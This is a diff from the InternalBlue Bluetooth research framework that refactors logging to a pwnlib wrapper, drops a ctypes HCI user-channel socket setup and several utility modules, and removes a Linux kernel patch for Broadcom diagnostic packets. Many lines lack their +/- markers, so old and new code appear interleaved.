success = self._setupSocketsUserChannel()
else:
success = self._setupSockets()
if not success:
self.logger.critical("HCI socket could not be established!")
if not self._setupSockets():
log.critical("HCI socket could not be established!")
return False
return True
@@ -259,9 +243,12 @@ class HCICore(InternalBlue):
if it encounters a fatal error or the stackDumpReceiver reports that the chip crashed.
"""
self.logger.debug("Receive Thread started.")
log.debug("Receive Thread started.")
while not self.exit_requested:
# Little bit ugly: need to re-apply changes to the global context to the thread-copy
context.log_level = self.log_level
# Read the record data
try:
record_data = self.s_snoop.recv(1024)
@@ -269,7 +256,7 @@ class HCICore(InternalBlue):
except socket.timeout:
continue # this is ok. just try again without error
except Exception as e:
self.logger.critical(
log.critical(
"Lost device interface with exception {}, terminating receive thread...".format(
e
)
@@ -297,7 +284,7 @@ class HCICore(InternalBlue):
btsnoop_time,
)
self.logger.debug(
log.debug(
"_recvThreadFunc Recv: [" + str(btsnoop_time) + "] " + str(record[0])
)
@@ -323,7 +310,7 @@ class HCICore(InternalBlue):
try:
queue.put(record, block=False)
except queue2k.Full:
self.logger.warn(
log.warn(
"recvThreadFunc: A recv queue is full. dropping packets.."
)
@@ -333,24 +320,12 @@ class HCICore(InternalBlue):
callback(record)
# Check if the stackDumpReceiver has noticed that the chip crashed.
# if self.stackDumpReceiver.stack_dump_has_happened:
# A stack dump has happened!
# self.logger.warn("recvThreadFunc: The controller send a stack dump.")
# if self.stackDumpReceiver.stack_dump_has_happend:
# A stack dump has happend!
# log.warn("recvThreadFunc: The controller send a stack dump.")
# self.exit_requested = True
self.logger.debug("Receive Thread terminated.")
def _writeBTSnoopHeader(self):
# Write Header to btsnoop file (if file is still empty):
if self.write_btsnooplog and self.btsnooplog_file.tell() == 0:
# BT Snoop Header: btsnoop\x00, version: 1, data link type: 1002
btsnoop_hdr = (
b"btsnoop\x00" + p32(1, endian="big") + p32(1002, endian="big")
)
with self.btsnooplog_file_lock:
self.btsnooplog_file.write(btsnoop_hdr)
self.btsnooplog_file.flush()
log.debug("Receive Thread terminated.")
def _setupSockets(self):
"""
@@ -363,15 +338,15 @@ class HCICore(InternalBlue):
dev for dev in self.getHciDeviceList() if dev["dev_name"] == self.interface
]
if len(device) == 0:
self.logger.warn("Device not found: " + self.interface)
log.warn("Device not found: " + self.interface)
return False
device = device[0]
if device["dev_flags"] == 0:
self.logger.warn("Device %s is DOWN!" % self.interface)
self.logger.info("Trying to set %s to state 'UP' (requires root)" % self.interface)
log.warn("Device %s is DOWN!" % self.interface)
log.info("Trying to set %s to state 'UP' (requires root)" % self.interface)
if not self.bringHciDeviceUp(device["dev_id"]):
self.logger.warn("Failed to bring up %s." % self.interface)
log.warn("Failed to bring up %s." % self.interface)
return False
# TODO unload btusb module and check error messages here to give the user some output if sth fails
@@ -397,56 +372,23 @@ class HCICore(InternalBlue):
) # type mask, event mask, event mask, opcode
interface_num = device["dev_id"]
self.logger.debug("Socket interface number: %s" % interface_num)
log.debug("Socket interface number: %s" % interface_num)
self.s_snoop.bind((interface_num,))
self.s_snoop.settimeout(2)
self.logger.debug("_setupSockets: Bound socket.")
log.debug("_setupSockets: Bound socket.")
# same socket for input and output (this is different from adb here!)
self.s_inject = self.s_snoop
self._writeBTSnoopHeader()
return True
def _setupSocketsUserChannel(self):
"""
Python's socket API does not allow to set up an HCI User Channel
so we need to use ctypes here. Most parts of this are taken from
scapy's code (https://github.com/secdev/scapy/blob/master/scapy/layers/bluetooth.py#L1482)
"""
sockaddr_hcip = POINTER(sockaddr_hci)
cdll.LoadLibrary("libc.so.6")
libc = CDLL("libc.so.6")
socket_c = libc.socket
socket_c.argtypes = (c_int, c_int, c_int);
socket_c.restype = c_int
bind = libc.bind
bind.argtypes = (c_int, POINTER(sockaddr_hci), c_int)
bind.restype = c_int
s = socket_c(31, 3, 1) # (AF_BLUETOOTH, SOCK_RAW, HCI_CHANNEL_USER)
if s < 0:
self.logger.error("Unable to open PF_BLUETOOTH socket")
sa = sockaddr_hci()
sa.sin_family = 31 # AF_BLUETOOTH
sa.hci_dev = 0 # adapter index
sa.hci_channel = 1 # HCI_USER_CHANNEL
r = bind(s, sockaddr_hcip(sa), sizeof(sa))
if r != 0:
self.logger.error("Unable to bind")
self.s_snoop = socket.fromfd(s, 31, 3, 1)
# same socket for input and output (this is different from adb here!)
self.s_inject = self.s_snoop
self._writeBTSnoopHeader()
# Write Header to btsnoop file (if file is still empty):
if self.write_btsnooplog and self.btsnooplog_file.tell() == 0:
# BT Snoop Header: btsnoop\x00, version: 1, data link type: 1002
btsnoop_hdr = (
b"btsnoop\x00" + p32(1, endian="big") + p32(1002, endian="big")
)
with self.btsnooplog_file_lock:
self.btsnooplog_file.write(btsnoop_hdr)
self.btsnooplog_file.flush()
return True
+26 -19
View File
@@ -2,6 +2,8 @@
from __future__ import absolute_import
import struct
from future import standard_library
standard_library.install_aliases()
@@ -10,6 +12,8 @@ import socket
import queue as queue2k
from . import hci
from internalblue.utils.pwnlib_wrapper import log, context
from .usbmux import USBMux, MuxError
from .core import InternalBlue
import sys
@@ -23,10 +27,11 @@ class iOSCore(InternalBlue):
queue_size=1000,
btsnooplog_filename="btsnoop.log",
log_level="info",
fix_binutils=True,
data_directory=".",
):
super(iOSCore, self).__init__(
queue_size, btsnooplog_filename, log_level, data_directory="."
queue_size, btsnooplog_filename, log_level, fix_binutils, data_directory="."
)
self.serial = False
self.doublecheck = True
@@ -52,7 +57,7 @@ class iOSCore(InternalBlue):
self.shutdown()
if self.running:
self.logger.warn("Already running. Call shutdown() first!")
log.warn("Already running. Call shutdown() first!")
return []
# because we need to call process for every device that is connected
@@ -64,7 +69,7 @@ class iOSCore(InternalBlue):
self.devices = self.mux.devices
if not self.devices:
self.logger.info("No iOS devices connected")
log.info("No iOS devices connected")
device_list = []
for dev in self.devices:
@@ -93,10 +98,10 @@ class iOSCore(InternalBlue):
ret = queue.get(timeout=timeout)
return ret
except queue2k.Empty:
self.logger.warn("sendH4: waiting for response timed out!")
log.warn("sendH4: waiting for response timed out!")
return None
except queue2k.Full:
self.logger.warn("sendH4: send queue is full!")
log.warn("sendH4: send queue is full!")
return None
def local_connect(self):
@@ -105,8 +110,8 @@ class iOSCore(InternalBlue):
TCP
"""
if not self._setupSockets():
self.logger.critical("No connection to iPhone.")
self.logger.info(
log.critical("No connection to iPhone.")
log.info(
"Check if\n \
-> Bluetooth is deactivated in the iOS device's settings\n \
-> internalblued is installed on the device\n \
@@ -124,7 +129,7 @@ class iOSCore(InternalBlue):
try:
self.s_inject = self.mux.connect(self.interface, 1234)
except MuxError:
self.logger.warn("Could not connect to iOS proxy. Is internalblued running on the connected device?")
log.warn("Could not connect to iOS proxy. Is internalblued running on the connected device?")
return False
self.s_inject.settimeout(0.5)
@@ -173,7 +178,7 @@ class iOSCore(InternalBlue):
return (None, False)
# might be the case that we have too much
elif len(self.buffer) > required_len:
self.logger.info(
log.info(
"Got too much data, expected %d, got %d",
required_len,
len(self.buffer),
@@ -193,27 +198,29 @@ class iOSCore(InternalBlue):
def _recvThreadFunc(self):
self.logger.debug("Receive Thread started.")
log.debug("Receive Thread started.")
if self.write_btsnooplog:
self.logger.warn("Writing btsnooplog is not supported with iOS.")
log.warn("Writing btsnooplog is not supported with iOS.")
while not self.exit_requested:
# Little bit ugly: need to re-apply changes to the global context to the thread-copy
context.log_level = self.log_level
# read record data
try:
received_data = self.s_snoop.recv(1024)
except socket.timeout:
continue # this is ok. just try again without error
if len(received_data) > 0:
self.logger.debug("H4 Data: %s", received_data)
log.debug("H4 Data: %s", received_data)
(record_data, is_more) = self._getLatestH4Blob(new_data=received_data)
while record_data is not None:
# Put all relevant infos into a tuple. The HCI packet is parsed with the help of hci.py.
record = (hci.parse_hci_packet(record_data), 0, 0, 0, 0, 0)
self.logger.debug("Recv: " + str(record[0]))
log.debug("Recv: " + str(record[0]))
# Put the record into all queues of registeredHciRecvQueues if their
# filter function matches.
@@ -226,7 +233,7 @@ class iOSCore(InternalBlue):
try:
queue.put(record, block=False)
except queue2k.Full:
self.logger.warn(
log.warn(
"recvThreadFunc: A recv queue is full. dropping packets.."
)
@@ -236,9 +243,9 @@ class iOSCore(InternalBlue):
callback(record)
# Check if the stackDumpReceiver has noticed that the chip crashed.
if self.stackDumpReceiver.stack_dump_has_happened:
# A stack dump has happened!
self.logger.warn(
if self.stackDumpReceiver.stack_dump_has_happend:
# A stack dump has happend!
log.warn(
"recvThreadFunc: The controller send a stack dump. stopping.."
)
self.exit_requested = True
@@ -247,7 +254,7 @@ class iOSCore(InternalBlue):
if not is_more:
break
self.logger.debug("Receive Thread terminated.")
log.debug("Receive Thread terminated.")
def _teardownSockets(self):
"""
+50 -47
View File
@@ -2,40 +2,45 @@
from __future__ import absolute_import
import os
import queue as queue2k
import random
import socket
import time
from builtins import str
from future import standard_library
from . import hci
from .core import InternalBlue
from .utils.packing import p8
standard_library.install_aliases()
from builtins import str
import socket
import queue as queue2k
from . import hci
from internalblue.utils.pwnlib_wrapper import log, context, p8
from .core import InternalBlue
import binascii
import os
filepath = os.path.dirname(os.path.abspath(__file__))
IOBE = None
# noinspection SpellCheckingInspection
class macOSCore(InternalBlue):
def __init__(
self,
queue_size=1000,
btsnooplog_filename="btsnoop.log",
log_level="info",
data_directory=".",
replay=False,
self,
queue_size=1000,
btsnooplog_filename="btsnoop.log",
log_level="info",
fix_binutils="True",
data_directory=".",
replay=False,
):
super(macOSCore, self).__init__(
queue_size,
btsnooplog_filename,
log_level,
data_directory=data_directory,
fix_binutils,
data_directory=".",
replay=replay,
)
self.doublecheck = False
@@ -63,7 +68,7 @@ class macOSCore(InternalBlue):
self.shutdown()
if self.running:
self.logger.warning("Already running. Call shutdown() first!")
log.warn("Already running. Call shutdown() first!")
return []
# assume that a explicitly specified iPhone exists
@@ -73,17 +78,17 @@ class macOSCore(InternalBlue):
def local_connect(self):
if not self._setupSockets():
self.logger.critical("No connection to target device.")
log.critical("No connection to target device.")
self._teardownSockets()
return True
def _setupSockets(self):
self.hciport = random.randint(60000, 65535 - 1)
self.logger.debug(
log.debug(
"_setupSockets: Selected random ports snoop=%d and inject=%d"
% (self.hciport, self.hciport + 1)
)
self.logger.info(
log.info(
"Wireshark configuration (on Loopback interface): udp.port == %d || udp.port == %d"
% (self.hciport, self.hciport + 1)
)
@@ -114,9 +119,12 @@ class macOSCore(InternalBlue):
def _recvThreadFunc(self):
self.logger.debug("Receive Thread started.")
log.debug("Receive Thread started.")
while not self.exit_requested:
# Little bit ugly: need to re-apply changes to the global context to the thread-copy
context.log_level = self.log_level
# read record data
try:
data, addr = self.s_snoop.recvfrom(1024)
@@ -134,20 +142,20 @@ class macOSCore(InternalBlue):
0,
0,
) # TODO not sure if this causes trouble?
self.logger.debug("Recv: " + str(record[0]))
log.debug("Recv: " + str(record[0]))
# Put the record into all queues of registeredHciRecvQueues if their
# filter function matches.
for (
queue,
filter_function,
queue,
filter_function,
) in (
self.registeredHciRecvQueues
self.registeredHciRecvQueues
): # TODO filter_function not working with bluez modifications
try:
queue.put(record, block=False)
except queue.Full:
self.logger.warning(
log.warn(
"recvThreadFunc: A recv queue is full. dropping packets..>"
+ str(record_data)
)
@@ -157,11 +165,14 @@ class macOSCore(InternalBlue):
for callback in self.registeredHciCallbacks:
callback(record)
self.logger.debug("Receive Thread terminated.")
log.debug("Receive Thread terminated.")
def _sendThreadFunc(self):
self.logger.debug("Send Thread started.")
log.debug("Send Thread started.")
while not self.exit_requested:
# Little bit ugly: need to re-apply changes to the global context to the thread-copy
context.log_level = self.log_level
# Wait for 'send task' in send queue
try:
task = self.sendQueue.get(timeout=0.5)
@@ -174,31 +185,24 @@ class macOSCore(InternalBlue):
# Prepend UART TYPE and length.
out = p8(h4type) + p8(len(data)) + data
# Check if command is not a H4 type
if not (h4type == 0x01 or h4type == 0x02):
self.logger.warn(f"H4 Type {str(h4type)} not supported by macOS Core!")
if queue is not None:
queue.put(None)
continue
# Check if data size is OK
if len(data) < 2:
self.logger.warn(f"Command is less than 2 bytes. Cannot send. Bytes: {data}")
if queue is not None:
queue.put(None)
continue
# Send command to the chip using IOBluetoothExtended framework
h4type, data, queue, filter_function = task
data = bytearray(data)
opcode = format(data[1], "02x") + format(data[0], "02x")
self.logger.debug(
log.debug(
"Sending command: 0x"
+ "".join(format(x, "02x") for x in data)
+ ", opcode: "
+ opcode
)
if not (h4type == 0x01 or h4type == 0x02):
log.warn("H4 Type {0} not supported by macOS Core!".format(str(h4type)))
if queue is not None:
queue.put(None)
continue
# if the caller expects a response: register a queue to receive the response
if queue is not None and filter_function is not None:
recvQueue = queue2k.Queue(1)
@@ -215,7 +219,7 @@ class macOSCore(InternalBlue):
hcipkt = record[0]
data = hcipkt.data
except queue2k.Empty:
self.logger.warning("_sendThreadFunc: No response from the firmware.")
log.warn("_sendThreadFunc: No response from the firmware.")
data = None
self.unregisterHciRecvQueue(recvQueue)
continue
@@ -223,7 +227,7 @@ class macOSCore(InternalBlue):
queue.put(data)
self.unregisterHciRecvQueue(recvQueue)
self.logger.debug("Send Thread terminated.")
log.debug("Send Thread terminated.")
def _teardownSockets(self):
if self.s_inject is not None:
@@ -239,6 +243,5 @@ class macOSCore(InternalBlue):
def shutdown(self):
if not self.replay:
self.iobe.shutdown()
if self.s_inject is not None:
self.s_inject.sendto(b"", ("127.0.0.1", self.s_snoop.getsockname()[1]))
self.s_inject.sendto(b"", ("127.0.0.1", self.s_snoop.getsockname()[1]))
super(macOSCore, self).shutdown()
@@ -1,8 +1,7 @@
from builtins import object
from internalblue.utils.pwnlib_wrapper import u32, u16, u8
from typing import Any
from internalblue.utils.packing import u8, u16, u32
class ConnectionInformation(object):
connection_handle = 0
+12 -12
View File
@@ -134,22 +134,22 @@ class TraceToFileHook(SocketDuplexHook):
self.closed = False
def recv_hook(self, data):
line = "RX {}\n".format(data.hex())
line = "RX {}\n".format(binascii.hexlify(data))
print(line)
self.log.append(line)
def send_hook(self, data):
line = "TX {}\n".format(data.hex())
line = "TX {}\n".format(binascii.hexlify(data))
print(line)
self.log.append(line)
def recvfrom_hook(self, data, socket, **kwargs):
line = "RX {}\n".format(data.hex())
line = "RX {}\n".format(binascii.hexlify(data))
print(line)
self.log.append(line)
def sendto_hook(self, data, socket, **kwargs):
line = "TX {}\n".format(data.hex())
line = "TX {}\n".format(binascii.hexlify(data))
print(line)
self.log.append(line)
@@ -173,16 +173,16 @@ import socket
class PrintTrace(SocketDuplexHook):
def send_hook(self, data, **kwargs):
print("Sent: {}".format(data.hex()))
print("Sent: {}".format(binascii.hexlify(data)))
def recv_hook(self, data, **kwargs):
print("Recv: {}".format(data.hex()))
print("Recv: {}".format(binascii.hexlify(data)))
def recvfrom_hook(self, data, addr, **kwargs):
print("Recv: {}".format(data.hex()))
print("Recv: {}".format(binascii.hexlify(data)))
def sendto_hook(self, data, socket, **kwargs):
print("Sent: {}".format(data.hex()))
print("Sent: {}".format(binascii.hexlify(data)))
def send_exception(self, e):
print("Exception: {}".format(e))
@@ -203,19 +203,19 @@ class ReplaySocket(SocketDuplexHook):
def send_hook(self, data, **kwargs):
if self.debug:
print("Sent: {}".format(data.hex()))
print("Sent: {}".format(binascii.hexlify(data)))
def recv_hook(self, data, **kwargs):
if self.debug:
print("Recv: {}".format(data.hex()))
print("Recv: {}".format(binascii.hexlify(data)))
def recvfrom_hook(self, data, addr, **kwargs):
if self.debug:
print("Recv: {}".format(data.hex()))
print("Recv: {}".format(binascii.hexlify(data)))
def sendto_hook(self, data, socket, **kwargs):
if self.debug:
print("Sent: {}".format(data.hex()))
print("Sent: {}".format(binascii.hexlify(data)))
def send_exception(self, e):
if self.debug:
+3 -30
View File
@@ -1,34 +1,7 @@
import sys
# from pwnlib.util.packing import *
from typing import Union
from internalblue import Address
def bytes_to_hex(data):
def bytes_to_hex(bytes):
# type: (Union[bytes, bytearray]) -> str
return "".join(format(x, "02x") for x in bytearray(data))
def flat(data: [Address, bytes], filler: int) -> bytes:
res = bytes()
last_section_end = 0
for address in data:
res += bytes([filler]) * (address - last_section_end)
res += data[address]
last_section_end = address + len(data[address])
return res
def yesno(message):
selection = input(f"[🦄] {message} [yes/no] ")
sys.stdout.write(f"\033[F\033[K")
while True:
if selection.lower() in ['y', 'yes']:
sys.stdout.write(f"[🦄] {message} [\033[1myes\033[0m/no] \n")
return True
elif selection.lower() in ['n', 'no']:
sys.stdout.write(f"[🦄] {message} [yes/\033[1mno\033[0m] \n")
return False
else:
selection = input(f"[🦄] {message} [yes/no] ")
return "".join(format(x, "02x") for x in bytearray(bytes))
-15
View File
@@ -1,15 +0,0 @@
import logging
from internalblue.utils.logging_formatter import CustomFormatter
def getInternalBlueLogger() -> logging.Logger:
logger = logging.getLogger("InternalBlue")
logger.setLevel(logging.INFO)
# create console handler with a higher log level
ch = logging.StreamHandler()
ch.setFormatter(CustomFormatter())
ch.setLevel(logging.INFO)
if not logger.hasHandlers():
logger.addHandler(ch)
return logger
-35
View File
@@ -1,35 +0,0 @@
import logging
class CustomFormatter(logging.Formatter):
"""Logging Formatter to add colors and count warning / errors"""
PROGRESS = 60
black = "\x1b[30m"
red = "\x1b[31m"
green = "\x1b[32m"
yellow = "\x1b[33m"
blue = "\x1b[34m"
magenta = "\x1b[35m"
cyan = "\x1b[36m"
white = "\x1b[37m"
reset = "\x1b[0m"
bright_red = "\u001b[31;1m"
# "\033[F" # back to previous line
# "\033[K" # clear line
FORMATS = {
logging.DEBUG: f"{yellow}[!]{reset} %(message)s",
logging.INFO: f"{blue}[*]{reset} %(message)s",
logging.WARNING: f"{yellow}[!]{reset} %(message)s",
logging.ERROR: f"{bright_red}[ERROR]{reset} %(message)s",
logging.CRITICAL: f"{red}[CRITICAL] %(message)s{reset}",
PROGRESS: f"\033[F\033[K%(message)s",
}
def format(self, record):
log_fmt = self.FORMATS.get(record.levelno)
formatter = logging.Formatter(log_fmt)
return formatter.format(record)
-139
View File
@@ -1,139 +0,0 @@
import struct
def p8(num, endian: str = ''):
if endian.lower() == 'big':
return struct.pack('>B', num)
elif endian.lower() == 'little':
return struct.pack('<B', num)
return struct.pack('B', num)
def u8(num, endian: str = ''):
if endian.lower() == 'big':
return struct.unpack('>B', num)[0]
elif endian.lower() == 'little':
return struct.unpack('<B', num)[0]
return struct.unpack('B', num)[0]
def p16(num, endian: str = ''):
if endian.lower() == 'big':
return struct.pack('>H', num)
elif endian.lower() == 'little':
return struct.pack('<H', num)
return struct.pack('H', num)
def u16(num, endian: str = ''):
if endian.lower() == 'big':
return struct.unpack('>H', num)[0]
elif endian.lower() == 'little':
return struct.unpack('<H', num)[0]
return struct.unpack('H', num)[0]
def p32(num, endian: str = ''):
if endian.lower() == 'big':
return struct.pack('>I', num)
elif endian.lower() == 'little':
return struct.pack('<I', num)
return struct.pack('I', num)
def u32(num, endian: str = ''):
if endian.lower() == 'big':
return struct.unpack('>I', num)[0]
elif endian.lower() == 'little':
return struct.unpack('<I', num)[0]
return struct.unpack('I', num)[0]
def bits(s, endian='big') -> [int]:
"""bits(s, endian = 'big', zero = 0, one = 1) -> list
Converts the argument a list of bits.
Arguments:
s: A string or number to be converted into bits.
endian (str): The binary endian, default 'big'.
Returns:
A list consisting of the values specified in `zero` and `one`.
[!!!] Copied from PWN, only available for bytes.
"""
if endian not in ['little', 'big']:
raise ValueError("bits(): 'endian' must be either 'little' or 'big'")
else:
little = endian == 'little'
out = []
if isinstance(s, bytes):
for b in bytearray(s):
byte = []
for _ in range(8):
byte.append(1 if b & 1 else 0)
b >>= 1
if little:
out += byte
else:
out += byte[::-1]
else:
raise ValueError("bits(): 's' must be either a string or a number")
return out
def unbits(s, endian='big'):
"""unbits(s, endian = 'big') -> str
Converts an iterable of bits into a string.
Arguments:
s: Iterable of bits
endian (str): The string "little" or "big", which specifies the bits endianness.
Returns:
A string of the decoded bits.
[!!!] Coped from PWN.
"""
if endian == 'little':
u = lambda s: p8(int(s[::-1], 2))
elif endian == 'big':
u = lambda s: p8(int(s, 2))
else:
raise ValueError("unbits(): 'endian' must be either 'little' or 'big'")
out = b''
cur = b''
for c in s:
if c in ['1', 1, True]:
cur += b'1'
elif c in ['0', 0, False]:
cur += b'0'
else:
raise ValueError("unbits(): cannot decode the value %r into a bit" % c)
if len(cur) == 8:
out += u(cur)
cur = b''
if cur:
out += u(cur.ljust(8, b'0'))
return out
def bits_str(s, endian='big') -> str:
"""bits_str(s, endian = 'big') -> str
A wrapper around :func:`bits`, which converts the output into a string.
Examples:
>>> bits_str(511)
'0000000111111111'
>>> bits_str(b"bits_str", endian = "little")
'0100011010010110001011101100111011111010110011100010111001001110'
"""
return ''.join(map(lambda x: str(x), bits(s, endian)))
-80
View File
@@ -1,80 +0,0 @@
import random
import time
from internalblue.utils.logging_formatter import CustomFormatter
class ProgressLogger(object):
spinners = [
['/.......', './......', '../.....', '.../....', '..../...', '...../..', '....../.',
'.......\\', '......\\.', '.....\\..', '....\\...', '...\\....', '..\\.....', '.\\......'],
['|', '/', '-', '\\'],
['q', 'p', 'b', 'd'],
['.', 'o', 'O', '0', '*', ' ', ' ', ' '],
['', '', '', '', '', '', '', '', '', '', '', ''],
['', '', '', '', '', '', '', ''],
['', '', '', '', '', '', '', ''],
['', '', '', '', '', '', '', ''],
['', '', '', ''],
['', '', '', ''],
['.', 'o', 'O', '°', ' ', ' ', '°', 'O', 'o', '.', ' ', ' '],
['<', '<', '', '', '>', '>', 'v', 'v'],
]
def __init__(self, logger, msg, status, kwargs):
self._logger = logger
self._msg = msg
self._status = status
self._stopped = False
self.last_status = 0
self.rate = kwargs.pop('rate', 0)
# it is a common use case to create a logger and then immediately update
# its status line, so we reset `last_status` to accommodate this pattern
self.last_status = 0
self.spinner_index = 0
self.spinner_repeat = 5
self.spinner = self.spinners[random.randint(0, len(self.spinners) - 1)]
# self._log(status)
def _log(self, status):
# this progress logger is stopped, so don't generate any more records
if self._stopped:
return
if self.spinner_repeat > 0:
self.spinner_repeat -= 1
else:
self.spinner_repeat = 5
self.spinner_index = (self.spinner_index + 1) % len(self.spinner)
msg = f'{CustomFormatter.blue}[{self.spinner[self.spinner_index]}]{CustomFormatter.reset} '
msg += self._msg
if msg and status:
msg += ': '
msg += status
self._logger.log(CustomFormatter.PROGRESS, msg)
def status(self, status):
now = time.time()
if (now - self.last_status) > self.rate:
self.last_status = now
self._log(status)
def success(self, status='Done'):
self._log(status)
self._stopped = True
def failure(self, status='Failed'):
self._log(status)
self._stopped = True
def __enter__(self):
return self
def __exit__(self, exc_typ, exc_val, exc_tb):
# if the progress logger is already stopped these are no-ops
if exc_typ is None:
self.success()
else:
self.failure()
+95
View File
@@ -0,0 +1,95 @@
"""
The following proxies various utilities from pwnlibs by explicitly importing them
To replace a "from pwn import *" remove it and let your IDE highlight all missing methods (Hint: F2 in PyCharm goes to next error)
import the missing (and only the missing!) methods from this module, e.g. with "from internalblue.utils import term, read, log, text, options"
In some cases like "from pwn import socket" this just imports another module.
Use an IPython shell to run "from pwn import *" and check where some method/module actually comes from and either import it directly or add it to this module
"""
# Imports that used to be imported via 'from pwn import *'
import pwnlib
from pwnlib import term
from pwnlib.util import iters
from pwnlib.util.misc import read
from pwnlib.context import context
# TODO: Logging via pwnlib doesn't work yet, so for now it is still used via pwn
# import pwnlib.log
# pwnlib.log.install_default_handler()
# log = pwnlib.log.getLogger('internalbue')
from pwn import log
from pwnlib.term import text
from pwnlib.ui import options, yesno
from pwnlib.util.packing import flat
from pwnlib.asm import disasm, asm
from pwnlib.util.fiddling import isprint, unbits, bits_str, bits
"""
The packers like u8 are generated in a fairly convoluted way that breaks IDE introspection.
The following code remedies this by:
- Explicitly defining a stub function with type annotations
- Generating all the packers like pwnlibs would
- Only if if the current module already has the name of the packer as an attribute (i.e. has a stub function defined) it will be replaced with the pwnlibs version
This means:
- All import issues in the rest of the code are genuine as the imports are only available if an explicit stub function is added
- The functions can be easily replaced by just implementing them and removing the for loop at the end
"""
# Imports needed for this hack
from pwnlib.util.packing import ops, sizes, make_multi
import sys
try:
from typing import Union, Optional, Literal
endianess = Union[Literal["big"]]
except ImportError:
pass
mod = sys.modules[__name__]
_DEFINES = ["u8", "p8", "u32", "u16", "p32"]
def u8(data, endian=None):
# type: (bytes, Optional[endianess]) -> int
pass
def p8(number, endian=None):
# type: (int, Optional[endianess]) -> bytes
pass
def u16(data, endian=None):
# type: (bytes, Optional[endianess]) -> int
pass
def p16(number, endian=None):
# type: (int, Optional[endianess]) -> bytes
pass
def u32(data, endian=None):
# type: (bytes, Optional[endianess]) -> int
pass
def p32(number, endian=None):
# type: (int, Optional[endianess]) -> bytes
pass
for op, size in iters.product(ops, sizes):
name, routine = make_multi(op, size)
if hasattr(mod, name):
setattr(mod, name, routine)
Binary file not shown.
Binary file not shown.
BIN
View File
Binary file not shown.
Binary file not shown.
Binary file not shown.
-168
View File
@@ -1,168 +0,0 @@
diff --git linux-4.14.111/drivers/bluetooth/hci_h4.c linux-4.14.111/drivers/bluetooth/hci_h4.c
index 7bedfa5..d428117 100644
--- linux-4.14.111/drivers/bluetooth/hci_h4.c
+++ linux-4.14.111/drivers/bluetooth/hci_h4.c
@@ -47,20 +47,6 @@
#include "hci_uart.h"
-int hci_recv_bcm_diag(struct hci_dev *hdev, struct sk_buff *skb)
-{
- /* Mark as diagnostic packet */
- hci_skb_pkt_type(skb) = HCI_BCM_DIAG_PKT;
-
- /* Time stamp */
- __net_timestamp(skb);
-
- skb_queue_tail(&hdev->rx_q, skb);
- queue_work(hdev->workqueue, &hdev->rx_work);
-
- return 0;
-}
-
struct h4_struct {
struct sk_buff *rx_skb;
struct sk_buff_head txq;
@@ -132,7 +118,6 @@ static const struct h4_recv_pkt h4_recv_pkts[] = {
{ H4_RECV_ACL, .recv = hci_recv_frame },
{ H4_RECV_SCO, .recv = hci_recv_frame },
{ H4_RECV_EVENT, .recv = hci_recv_frame },
- { H4_RECV_BCM_DIAG, .recv = hci_recv_bcm_diag },
};
/* Recv data */
@@ -252,20 +237,9 @@ struct sk_buff *h4_recv_buf(struct hci_dev *hdev, struct sk_buff *skb,
switch ((&pkts[i])->lsize) {
case 0:
- if (hci_skb_pkt_type(skb) == HCI_BCM_DIAG_PKT) {
- printk("Found a BCM diag packet!");
- dlen = 62;
- hci_skb_expect(skb) += dlen;
- if (skb_tailroom(skb) < dlen) {
- kfree_skb(skb);
- return ERR_PTR(-EMSGSIZE);
- }
- break;
- } else {
- /* No variable data length */
- dlen = 0;
- break;
- }
+ /* No variable data length */
+ dlen = 0;
+ break;
case 1:
/* Single octet variable length */
dlen = skb->data[(&pkts[i])->loff];
diff --git linux-4.14.111/drivers/bluetooth/hci_uart.h linux-4.14.111/drivers/bluetooth/hci_uart.h
index 7bb5ad4..66e8c68 100644
--- linux-4.14.111/drivers/bluetooth/hci_uart.h
+++ linux-4.14.111/drivers/bluetooth/hci_uart.h
@@ -155,13 +155,6 @@ struct h4_recv_pkt {
.lsize = 1, \
.maxlen = HCI_MAX_EVENT_SIZE
-#define H4_RECV_BCM_DIAG \
- .type = HCI_BCM_DIAG_PKT, \
- .hlen = HCI_BCM_DIAG_HDR_SIZE, \
- .loff = 0, \
- .lsize = 0, \
- .maxlen = HCI_MAX_BCM_DIAG_SIZE
-
struct sk_buff *h4_recv_buf(struct hci_dev *hdev, struct sk_buff *skb,
const unsigned char *buffer, int count,
const struct h4_recv_pkt *pkts, int pkts_count);
diff --git linux-4.14.111/include/net/bluetooth/hci.h linux-4.14.111/include/net/bluetooth/hci.h
index a9c33fc..fe98f0a 100644
--- linux-4.14.111/include/net/bluetooth/hci.h
+++ linux-4.14.111/include/net/bluetooth/hci.h
@@ -30,10 +30,6 @@
#define HCI_MAX_EVENT_SIZE 260
#define HCI_MAX_FRAME_SIZE (HCI_MAX_ACL_SIZE + 4)
-#define HCI_MAX_BCM_DIAG_SIZE 63
-#define HCI_BCM_DIAG_PKT 0x07
-#define HCI_BCM_DIAG_HDR_SIZE 1
-
#define HCI_LINK_KEY_SIZE 16
#define HCI_AMP_LINK_KEY_SIZE (2 * HCI_LINK_KEY_SIZE)
diff --git linux-4.14.111/net/bluetooth/hci_core.c linux-4.14.111/net/bluetooth/hci_core.c
index 4441a48..6bc679c 100644
--- linux-4.14.111/net/bluetooth/hci_core.c
+++ linux-4.14.111/net/bluetooth/hci_core.c
@@ -3283,7 +3283,6 @@ int hci_recv_frame(struct hci_dev *hdev, struct sk_buff *skb)
if (hci_skb_pkt_type(skb) != HCI_EVENT_PKT &&
hci_skb_pkt_type(skb) != HCI_ACLDATA_PKT &&
- hci_skb_pkt_type(skb) != HCI_BCM_DIAG_PKT &&
hci_skb_pkt_type(skb) != HCI_SCODATA_PKT) {
kfree_skb(skb);
return -EINVAL;
@@ -4286,19 +4285,3 @@ static void hci_cmd_work(struct work_struct *work)
}
}
}
-
-/* Receive BCM diagnostic message from HCI drivers */
-int hci_recv_bcm_diag(struct hci_dev *hdev, struct sk_buff *skb)
-{
- /* Mark as diagnostic packet */
- hci_skb_pkt_type(skb) = HCI_BCM_DIAG_PKT;
-
- /* Time stamp */
- __net_timestamp(skb);
-
- skb_queue_tail(&hdev->rx_q, skb);
- queue_work(hdev->workqueue, &hdev->rx_work);
-
- return 0;
-}
-EXPORT_SYMBOL(hci_recv_bcm_diag);
diff --git linux-4.14.111/net/bluetooth/hci_sock.c linux-4.14.111/net/bluetooth/hci_sock.c
index 1330608..4a05235 100644
--- linux-4.14.111/net/bluetooth/hci_sock.c
+++ linux-4.14.111/net/bluetooth/hci_sock.c
@@ -211,7 +211,6 @@ void hci_send_to_sock(struct hci_dev *hdev, struct sk_buff *skb)
if (hci_skb_pkt_type(skb) != HCI_COMMAND_PKT &&
